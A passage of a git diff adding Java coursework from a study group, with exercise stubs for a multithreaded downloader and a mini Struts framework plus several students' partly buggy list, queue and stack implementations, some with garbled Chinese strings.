+		this.endPos = endPos;
+	}
+	public void run(){	
+		
+	}
+}
diff --git a/group23/565832157/src/com/coderising/download/FileDownloader.java b/group23/565832157/src/com/coderising/download/FileDownloader.java
new file mode 100644
index 0000000000..c3c8a3f27d
--- /dev/null
+++ b/group23/565832157/src/com/coderising/download/FileDownloader.java
@@ -0,0 +1,73 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+
+
+public class FileDownloader {
+	
+	String url;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+
+	public FileDownloader(String _url) {
+		this.url = _url;
+		
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		Connection conn = null;
+		try {
+			
+			conn = cm.open(this.url);
+			
+			int length = conn.getContentLength();	
+			
+			new DownloadThread(conn,0,length-1).start();
+			
+		} catch (ConnectionException e) {			
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+		
+		
+		
+		
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
diff --git a/group23/565832157/src/com/coderising/download/FileDownloaderTest.java b/group23/565832157/src/com/coderising/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..4ff7f46ae0
--- /dev/null
+++ b/group23/565832157/src/com/coderising/download/FileDownloaderTest.java
@@ -0,0 +1,59 @@
+package com.coderising.download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://localhost:8080/test.jpg";
+		
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group23/565832157/src/com/coderising/download/api/Connection.java b/group23/565832157/src/com/coderising/download/api/Connection.java
new file mode 100644
index 0000000000..0957eaf7f4
--- /dev/null
+++ b/group23/565832157/src/com/coderising/download/api/Connection.java
@@ -0,0 +1,23 @@
+package com.coderising.download.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
diff --git a/group23/565832157/src/com/coderising/download/api/ConnectionException.java b/group23/565832157/src/com/coderising/download/api/ConnectionException.java
new file mode 100644
index 0000000000..1551a80b3d
--- /dev/null
+++ b/group23/565832157/src/com/coderising/download/api/ConnectionException.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public class ConnectionException extends Exception {
+
+}
diff --git a/group23/565832157/src/com/coderising/download/api/ConnectionManager.java b/group23/565832157/src/com/coderising/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..ce045393b1
--- /dev/null
+++ b/group23/565832157/src/com/coderising/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.coderising.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group23/565832157/src/com/coderising/download/api/DownloadListener.java b/group23/565832157/src/com/coderising/download/api/DownloadListener.java
new file mode 100644
index 0000000000..bf9807b307
--- /dev/null
+++ b/group23/565832157/src/com/coderising/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/565832157/src/com/coderising/download/impl/ConnectionImpl.java b/group23/565832157/src/com/coderising/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..36a9d2ce15
--- /dev/null
+++ b/group23/565832157/src/com/coderising/download/impl/ConnectionImpl.java
@@ -0,0 +1,27 @@
+package com.coderising.download.impl;
+
+import java.io.IOException;
+
+import com.coderising.download.api.Connection;
+
+public class ConnectionImpl implements Connection{
+
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		
+		return null;
+	}
+
+	@Override
+	public int getContentLength() {
+		
+		return 0;
+	}
+
+	@Override
+	public void close() {
+		
+		
+	}
+
+}
diff --git a/group23/565832157/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/565832157/src/com/coderising/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..172371dd55
--- /dev/null
+++ b/group23/565832157/src/com/coderising/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,15 @@
+package com.coderising.download.impl;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		
+		return null;
+	}
+
+}
diff --git a/group23/565832157/src/com/coderising/litestruts/LoginAction.java b/group23/565832157/src/com/coderising/litestruts/LoginAction.java
new file mode 100644
index 0000000000..dcdbe226ed
--- /dev/null
+++ b/group23/565832157/src/com/coderising/litestruts/LoginAction.java
@@ -0,0 +1,39 @@
+package com.coderising.litestruts;
+
+/**
+ * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
+ * @author liuxin
+ *
+ */
+public class LoginAction{
+    private String name ;
+    private String password;
+    private String message;
+
+    public String getName() {
+        return name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String execute(){
+            if("test".equals(name) && "1234".equals(password)){
+                this.message = "login successful";
+                return "success";
+            }
+            this.message = "login failed,please check your user/pwd";
+            return "fail";
+    }
+
+    public void setName(String name){
+        this.name = name;
+    }
+    public void setPassword(String password){
+        this.password = password;
+    }
+    public String getMessage(){
+        return this.message;
+    }
+}
diff --git a/group23/565832157/src/com/coderising/litestruts/Struts.java b/group23/565832157/src/com/coderising/litestruts/Struts.java
new file mode 100644
index 0000000000..6df190d484
--- /dev/null
+++ b/group23/565832157/src/com/coderising/litestruts/Struts.java
@@ -0,0 +1,37 @@
+package com.coderising.litestruts;
+
+import java.lang.reflect.Method;
+import java.util.Map;
+
+
+
+public class Struts {
+
+	
+    public static View runAction(String actionName, Map<String,String> parameters) {
+
+        /*
+         
+		0. 读取配置文件struts.xml
+ 		
+ 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
+		("name"="test" ,  "password"="1234") ,     	
+		那就应该调用 setName和setPassword方法
+		
+		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+		
+		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
+		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
+		放到View对象的parameters
+		
+		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
+		放到View对象的jsp字段中。
+        
+        */
+    	
+    
+    	return null;
+    }    
+
+}
diff --git a/group23/565832157/src/com/coderising/litestruts/StrutsTest.java b/group23/565832157/src/com/coderising/litestruts/StrutsTest.java
new file mode 100644
index 0000000000..b8c81faf3c
--- /dev/null
+++ b/group23/565832157/src/com/coderising/litestruts/StrutsTest.java
@@ -0,0 +1,43 @@
+package com.coderising.litestruts;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一致
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}
diff --git a/group23/565832157/src/com/coderising/litestruts/View.java b/group23/565832157/src/com/coderising/litestruts/View.java
new file mode 100644
index 0000000000..07df2a5dab
--- /dev/null
+++ b/group23/565832157/src/com/coderising/litestruts/View.java
@@ -0,0 +1,23 @@
+package com.coderising.litestruts;
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+	
+	public String getJsp() {
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+	public Map getParameters() {
+		return parameters;
+	}
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
diff --git a/group23/565832157/src/com/coding/basic/ArrayList.java b/group23/565832157/src/com/coding/basic/ArrayList.java
new file mode 100644
index 0000000000..1f185736f9
--- /dev/null
+++ b/group23/565832157/src/com/coding/basic/ArrayList.java
@@ -0,0 +1,32 @@
+package com.coding.basic;
+
+public class ArrayList implements List {
+	
+	private int size = 0;
+	
+	private Object[] elementData = new Object[100];
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index, Object o){
+		
+	}
+	
+	public Object get(int index){
+		return null;
+	}
+	
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public Iterator iterator(){
+		return null;
+	}
+	
+}
diff --git a/group23/565832157/src/com/coding/basic/BinaryTreeNode.java b/group23/565832157/src/com/coding/basic/BinaryTreeNode.java
new file mode 100644
index 0000000000..d7ac820192
--- /dev/null
+++ b/group23/565832157/src/com/coding/basic/BinaryTreeNode.java
@@ -0,0 +1,32 @@
+package com.coding.basic;
+
+public class BinaryTreeNode {
+	
+	private Object data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+	
+	public Object getData() {
+		return data;
+	}
+	public void setData(Object data) {
+		this.data = data;
+	}
+	public BinaryTreeNode getLeft() {
+		return left;
+	}
+	public void setLeft(BinaryTreeNode left) {
+		this.left = left;
+	}
+	public BinaryTreeNode getRight() {
+		return right;
+	}
+	public void setRight(BinaryTreeNode right) {
+		this.right = right;
+	}
+	
+	public BinaryTreeNode insert(Object o){
+		return  null;
+	}
+	
+}
diff --git a/group23/565832157/src/com/coding/basic/Iterator.java b/group23/565832157/src/com/coding/basic/Iterator.java
new file mode 100644
index 0000000000..06ef6311b2
--- /dev/null
+++ b/group23/565832157/src/com/coding/basic/Iterator.java
@@ -0,0 +1,7 @@
+package com.coding.basic;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group23/565832157/src/com/coding/basic/LinkedList.java b/group23/565832157/src/com/coding/basic/LinkedList.java
new file mode 100644
index 0000000000..09fe0a8ff3
--- /dev/null
+++ b/group23/565832157/src/com/coding/basic/LinkedList.java
@@ -0,0 +1,122 @@
+package com.coding.basic;
+
+public class LinkedList implements List {
+	
+	private Node head;
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index , Object o){
+		
+	}
+	public Object get(int index){
+		return null;
+	}
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public void addFirst(Object o){
+		
+	}
+	public void addLast(Object o){
+		
+	}
+	public Object removeFirst(){
+		return null;
+	}
+	public Object removeLast(){
+		return null;
+	}
+	public Iterator iterator(){
+		return null;
+	}
+	
+	
+	private static  class Node{
+		Object data;
+		Node next;
+		
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){		
+		
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public  void removeFirstHalf(){
+		
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){
+		
+	}
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		return null;
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+		
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		return null;
+	}
+}
diff --git a/group23/565832157/src/com/coding/basic/List.java b/group23/565832157/src/com/coding/basic/List.java
new file mode 100644
index 0000000000..10d13b5832
--- /dev/null
+++ b/group23/565832157/src/com/coding/basic/List.java
@@ -0,0 +1,9 @@
+package com.coding.basic;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group23/565832157/src/com/coding/basic/Queue.java b/group23/565832157/src/com/coding/basic/Queue.java
new file mode 100644
index 0000000000..36e516e266
--- /dev/null
+++ b/group23/565832157/src/com/coding/basic/Queue.java
@@ -0,0 +1,19 @@
+package com.coding.basic;
+
+public class Queue {
+	
+	public void enQueue(Object o){		
+	}
+	
+	public Object deQueue(){
+		return null;
+	}
+	
+	public boolean isEmpty(){
+		return false;
+	}
+	
+	public int size(){
+		return -1;
+	}
+}
diff --git a/group23/565832157/src/com/coding/basic/Stack.java b/group23/565832157/src/com/coding/basic/Stack.java
new file mode 100644
index 0000000000..a5a04de76d
--- /dev/null
+++ b/group23/565832157/src/com/coding/basic/Stack.java
@@ -0,0 +1,22 @@
+package com.coding.basic;
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+	
+	public void push(Object o){		
+	}
+	
+	public Object pop(){
+		return null;
+	}
+	
+	public Object peek(){
+		return null;
+	}
+	public boolean isEmpty(){
+		return false;
+	}
+	public int size(){
+		return -1;
+	}
+}
diff --git a/group23/601689050/ArrayList.java b/group23/601689050/ArrayList.java
new file mode 100644
index 0000000000..5a4169dc9b
--- /dev/null
+++ b/group23/601689050/ArrayList.java
@@ -0,0 +1,58 @@
+package com.bjsxd.test;
+
+public class ArrayList implements List {
+    private Object[] elementData = new Object[100];
+    private int size = 0;
+    Object[] temp = null;
+
+    public void add(Object o) {
+        if (size < elementData.length) {
+            size++;
+            Object[] target = new Object[elementData.length + size];
+            System.arraycopy(elementData, 0, target, 0, elementData.length);
+            elementData[size] = o;
+        }
+    }
+
+    public void add(int index, Object o) {
+        if (index < 0 || o == null) {
+            throw new IllegalArgumentException("��Ӷ������");
+        } else if (index <= elementData.length) {
+            add(o);
+        } else if (index > elementData.length) {
+            throw new IllegalArgumentException("��Ӷ���Խ��");
+        }
+
+        if (size <= elementData.length) {
+            this.size++;
+        }
+        Object[] target = new Object[this.size];
+        System.arraycopy(elementData, 0, target, 0, index);
+        target[index] = o;
+        System.arraycopy(elementData, index, target, index + 1, elementData.length - index);
+    }
+
+    public Object get(int index) {
+        if (index < 0 || index >= elementData.length) {
+            return false;
+        } else {
+            return elementData[index];
+        }
+    }
+
+    public Object remove(int index) {
+        if (index < 0 || index >= elementData.length) {
+            throw new IllegalArgumentException("ɾ�����󲻴���");
+        } else {
+            for (int i = index; i < elementData.length; i++) {
+                elementData[i] = elementData[i + 1];
+            }
+            return elementData[index];
+        }
+    }
+
+    public int size() {
+        return this.size;
+    }
+
+}
diff --git a/group23/601689050/BinaryTreeNode.java b/group23/601689050/BinaryTreeNode.java
new file mode 100644
index 0000000000..3687306f5e
--- /dev/null
+++ b/group23/601689050/BinaryTreeNode.java
@@ -0,0 +1,50 @@
+package com.bjsxd.test;
+
+public class BinaryTreeNode {
+	private Object data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+	private BinaryTreeNode root;
+	
+	public BinaryTreeNode(BinaryTreeNode root){
+		this.root = root;
+		
+	}
+	
+	public BinaryTreeNode(BinaryTreeNode left,BinaryTreeNode right,Object data){
+		this.left = left;
+		this.right = right;
+		this.data = data;
+	}
+	
+	public void buildTree(){
+		
+	}
+	
+	public BinaryTreeNode(Object data){
+		this(null,null,data);
+	}
+	 public Object getData(){
+		 return data;
+	 }
+	 public void setData(Object data){
+		 this.data = data;
+	 }
+	 public BinaryTreeNode getLeft(){
+		 return left;
+	 }
+	 public void setLeft(BinaryTreeNode left){
+		 this.left = left;
+		
+	 }
+	 public BinaryTreeNode getRight(){
+		 return right;
+	 }
+	 public void setRight(BinaryTreeNode right){
+		 this.right = right;
+	 }
+	 public BinaryTreeNode insert(Object o){
+		 return null;
+	 }
+
+}
diff --git a/group23/601689050/Iterator.java b/group23/601689050/Iterator.java
new file mode 100644
index 0000000000..06ef6311b2
--- /dev/null
+++ b/group23/601689050/Iterator.java
@@ -0,0 +1,7 @@
+package com.coding.basic;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group23/601689050/LinkedList.java b/group23/601689050/LinkedList.java
new file mode 100644
index 0000000000..ee173bec67
--- /dev/null
+++ b/group23/601689050/LinkedList.java
@@ -0,0 +1,117 @@
+package com.bjsxd.test;
+
+public class LinkedList implements List{
+	private static class Node{
+		Object data;
+		Node next;
+	}
+	private Node head;
+	private Node last;
+	public void add (Object o){
+		if (head == null){
+			head = new Node();
+			head.data = o;
+			head.next = null;
+		}else{
+			Node MyNode = new Node();
+			MyNode = head;
+			while (MyNode.next != null){
+				MyNode = MyNode.next;
+			}
+			Node AddNode = new Node();
+			MyNode.next = AddNode;
+			AddNode.data = o;
+		}
+	}
+	public void add(int index,Object o){
+		if(index<0 || o ==null){
+			throw new IllegalArgumentException("���Ӷ���λ�ó����Ҳ���Ϊ��");
+		}else if (index == 0 && head == null){
+			head = new Node();
+			head.data = o;
+			head.next = null;
+		}else if (index > 0 && head == null){
+			throw new IllegalArgumentException("���Ӷ���λ�ó���");
+		}else{
+			Node SrcNode = new Node();
+			Node AddNode = new Node();
+			Node SrcNode2 = new Node();
+			SrcNode = head;
+			for(int i=0;i<=index;i++){
+				SrcNode = SrcNode.next;
+			}
+			AddNode.next = SrcNode;
+			AddNode.data = o;
+			for (int i=0;i<index;i++){
+				SrcNode2 = SrcNode2.next;
+			}
+			SrcNode2.next = AddNode;
+		}
+	}
+	public Object get(int index){
+		Node SrcNode = new Node();
+		for (int i=0;i<index;i++){
+			SrcNode = SrcNode.next;
+		}
+		return SrcNode;
+	}
+	public Object remove(int index){
+		Node SrcNode = new Node();
+		Node TempNode = new Node();
+		Node MyNode = new Node();
+		MyNode = head;
+		int size = 0;
+		while (MyNode != null){
+			MyNode = MyNode.next;
+			size++;
+		}
+		if (index < 0 || index > size){
+		throw new IllegalArgumentException("ɾ������λ�ó���");	
+		}else{
+		for (int i=0;i<index;i++){
+			SrcNode = SrcNode.next;
+		}
+		TempNode =  SrcNode.next;
+		SrcNode.next = SrcNode.next.next;
+		return TempNode;
+		}
+	}
+	public int size(){
+		Node MyNode = new Node();
+		MyNode = head;
+		int size = 0;
+		while (MyNode != null){
+			MyNode = MyNode.next;
+			size++;
+		}
+		return size;
+	}
+	public void addFirst(Object o){
+		Node MyNode = new Node();
+		MyNode.data = o;
+		MyNode.next = head;
+		head.next = MyNode;
+	}
+	public Object removeFirst(){
+		Node MyNode = new Node();
+		MyNode.data = head.data;
+		head.next = head.next.next;
+		return MyNode;
+	}
+	public Object removeLast(){
+		Node TempNode = new Node();
+		Node MyNode = new Node();
+		MyNode = last;
+		TempNode = head;
+		int size = 0;
+		while (TempNode != null){
+			TempNode = TempNode.next;
+			size++;
+		}
+		for (int i = 0;i < size-1; i++){
+			TempNode = TempNode.next;
+		}
+		TempNode.next = null;
+		return MyNode;
+	}
+}
diff --git a/group23/601689050/List.java b/group23/601689050/List.java
new file mode 100644
index 0000000000..863418df78
--- /dev/null
+++ b/group23/601689050/List.java
@@ -0,0 +1,10 @@
+package com.bjsxd.test;
+
+public interface List {
+	public void add(Object o);
+	public void add (int index,Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+
+}
diff --git a/group23/601689050/Queue.java b/group23/601689050/Queue.java
new file mode 100644
index 0000000000..1a975026a9
--- /dev/null
+++ b/group23/601689050/Queue.java
@@ -0,0 +1,45 @@
+package com.bjsxd.test;
+
+public class Queue{
+	private Object[] Q;
+	int front;
+	int rear;
+	public Queue(){
+		Q = new Object[100];
+	}
+	public Queue(int size){
+		Q = new Object[size];
+		front = 0;
+		rear = 0;
+	}
+	public void enQueue(Object o){
+		if((rear+1)%Q.length == front){
+			System.out.println("ջ����");
+		}else{
+			Q[rear] = o;
+			rear = rear+1;
+		}
+	}
+	
+	public Object deQueue(){
+		if (rear == front)
+		return null;
+		else{
+			Object temp = Q[front];
+			front = front+1;
+			return temp;
+		}
+	}
+	
+	public boolean isEmpty(){
+		return rear == front;
+	}
+	
+	public int size(){
+		if(rear > front){
+			return rear - front;
+		}else
+			return Q.length-1;
+	}
+
+}
diff --git a/group23/601689050/Stack.java b/group23/601689050/Stack.java
new file mode 100644
index 0000000000..106d2ecc7d
--- /dev/null
+++ b/group23/601689050/Stack.java
@@ -0,0 +1,39 @@
+package com.bjsxd.test;
+
+public class Stack {
+	private int top = -1;
+	private Object[] elements;
+	private int size = 0;
+	public Stack(){
+		elements = new Object[100];
+	}
+	public void push (Object o){
+		elements[this.size] = o;
+		this.size++;
+	}
+	public Object pop(){
+		if (this.size != 0){
+			Object temp = elements[size-1];
+			elements[size-1]=0;
+			size--;
+			return temp;
+		}else{
+			System.out.println("ջ��");
+			return 0;
+		}
+	}
+	public Object peek(){
+		if(!this.isEmpty()){
+			Object temp = elements[this.size-1];
+			elements[this.size-1] = 0;
+			this.size--;
+			return temp;
+		}else{
+			System.out.println("ջ��");
+			return 0;
+		}
+	}
+	public boolean isEmpty(){
+		return this.size == 0;
+	}
+}
diff --git a/group23/609041842/src/code/ArrayList.java b/group23/609041842/src/code/ArrayList.java
new file mode 100644
index 0000000000..8acbfe7de5
--- /dev/null
+++ b/group23/609041842/src/code/ArrayList.java
@@ -0,0 +1,49 @@
+package code;
+
+import java.util.Arrays;
+
+public class ArrayList {
+
+	private Object[] obj = new Object[0];
+
+	public void add(Object o) {
+		Object[] tar = new Object[obj.length + 1];
+		System.arraycopy(obj, 0, tar, 0, obj.length);
+		tar[tar.length - 1] = o;
+		obj = tar;
+		System.out.println(Arrays.toString(obj));
+	}
+
+	public void add(int index, Object o) {
+		Object[] tar = new Object[obj.length + 1];
+		System.arraycopy(obj, 0, tar, 0, index);
+		tar[index] = o;
+		System.arraycopy(obj, index, tar, index + 1, obj.length - index);
+		obj = tar;
+	}
+
+	public Object get(int index) {
+		return obj[index];
+	}
+	
+	public int size(){
+		return obj.length;
+	}
+
+	public Object remove(int index){
+		Object[] tar = new Object[obj.length-1];
+		System.arraycopy(obj, 0, tar, 0, index);
+		System.arraycopy(obj, index+1, tar, index, obj.length-index-1);
+		Object o = obj[index];
+		obj = tar;
+		return o;//���ر�ɾԪ��
+	}
+	public static void main(String[] args) {
+		ArrayList al = new ArrayList();
+		al.add("hello");
+		al.add("java");
+		al.add(2, "addm");
+		System.out.println(al.remove(1));
+	}
+
+}
diff --git a/group23/609041842/src/code/LinkedList.java b/group23/609041842/src/code/LinkedList.java
new file mode 100644
index 0000000000..e42138022e
--- /dev/null
+++ b/group23/609041842/src/code/LinkedList.java
@@ -0,0 +1,87 @@
+package code;
+
+public class LinkedList {
+	private static Node head;
+	private Node last;
+	public int size;
+
+	public void add(Object o) {
+		Node l = last;
+		Node newNode = new Node(l, o, null);
+		last = newNode;
+		if (head == null) {
+			head = newNode;
+			size = 1;
+		} else {
+			l.next = newNode;
+			size++;
+		}
+	}
+
+	public void add(int index, Object o) {
+		Node n = node(index);
+		System.out.println(n.data);
+		Node pred = n.prev;
+		Node newNode = new Node(pred, o, n);
+		if (pred == null) {
+			head = newNode;
+		} else {
+			pred.next = newNode;
+		}
+		size++;
+	}
+
+	
+	public Node get(int index){
+		return node(index);
+	}
+	public Node node(int index) {
+		Node n = head;
+		for (int i = 0; i < index; i++) {
+			n = n.next;
+		}
+		return n;
+	}
+
+	public Node remove(int index){
+		Node del = node(index);
+		Node after = del.next;
+		Node before = del.prev;
+		before.next = after;
+		after.prev = before;
+		size--;
+		return del;
+	}
+	private static class Node {
+		Node next;
+		Object data;
+		Node prev;
+
+		private Node(Node prev, Object data, Node next) {
+			this.data = data;
+			this.next = next;
+			this.prev = prev;
+		}
+	}
+
+	public static void main(String[] arg) {
+		LinkedList ll = new LinkedList();
+		ll.add("hello");
+		ll.add("java");
+		ll.add("jvm");
+		ll.add("jvmd");
+		// System.out.println(ll.get(2));
+//		ll.add(1, "ds");
+		System.out.println(ll.get(0).data);
+		System.out.println(ll.get(1).data);
+		System.out.println(ll.get(2).data);
+		System.out.println(ll.get(3).data);
+		System.out.println(ll.size);
+	System.out.println(ll.remove(1).data);
+	System.out.println(ll.get(0).data);
+	System.out.println(ll.get(1).data);
+	System.out.println(ll.get(2).data);
+	System.out.println(ll.size);
+	}
+
+}
diff --git a/group23/609041842/src/code/Queue.java b/group23/609041842/src/code/Queue.java
new file mode 100644
index 0000000000..d4f70c2125
--- /dev/null
+++ b/group23/609041842/src/code/Queue.java
@@ -0,0 +1,17 @@
+package code;
+
+public class Queue {
+
+	private LinkedList lk = new LinkedList();
+	public void enQueue(Object o){
+		lk.add(o);
+	}
+	public void deQueue(){
+		lk.remove(lk.size-1);
+	}
+	public boolean isEmpty(){
+		if(lk.size == 0)
+			return true;
+		return false;
+	}
+}
diff --git a/group23/609041842/src/code/Stack.java b/group23/609041842/src/code/Stack.java
new file mode 100644
index 0000000000..7226d4d403
--- /dev/null
+++ b/group23/609041842/src/code/Stack.java
@@ -0,0 +1,30 @@
+package code;
+
+public class Stack {
+
+	private ArrayList array = new ArrayList();
+	
+	public void push(Object o){
+		array.add(o);
+	}
+	public Object pop(){
+		return array.remove(array.size()-1);
+	}
+	
+	public boolean isEmpty(){
+		if(array.size()<=0)
+			return true;
+		return false;
+	}
+	
+	public int size(){
+		return array.size();
+	}
+	public static void main(String[] args) {
+		Stack sc = new Stack();
+		sc.push("hello world");
+		sc.push("java");
+		sc.push("jvm");
+	}
+	
+}
diff --git a/group23/609041842/src/com/homework01/ArrayList.java b/group23/609041842/src/com/homework01/ArrayList.java
new file mode 100644
index 0000000000..1702690ae7
--- /dev/null
+++ b/group23/609041842/src/com/homework01/ArrayList.java
@@ -0,0 +1,49 @@
+package com.homework01;
+
+import java.util.Arrays;
+
+public class ArrayList {
+
+	private Object[] obj = new Object[0];
+
+	public void add(Object o) {
+		Object[] tar = new Object[obj.length + 1];
+		System.arraycopy(obj, 0, tar, 0, obj.length);
+		tar[tar.length - 1] = o;
+		obj = tar;
+		System.out.println(Arrays.toString(obj));
+	}
+
+	public void add(int index, Object o) {
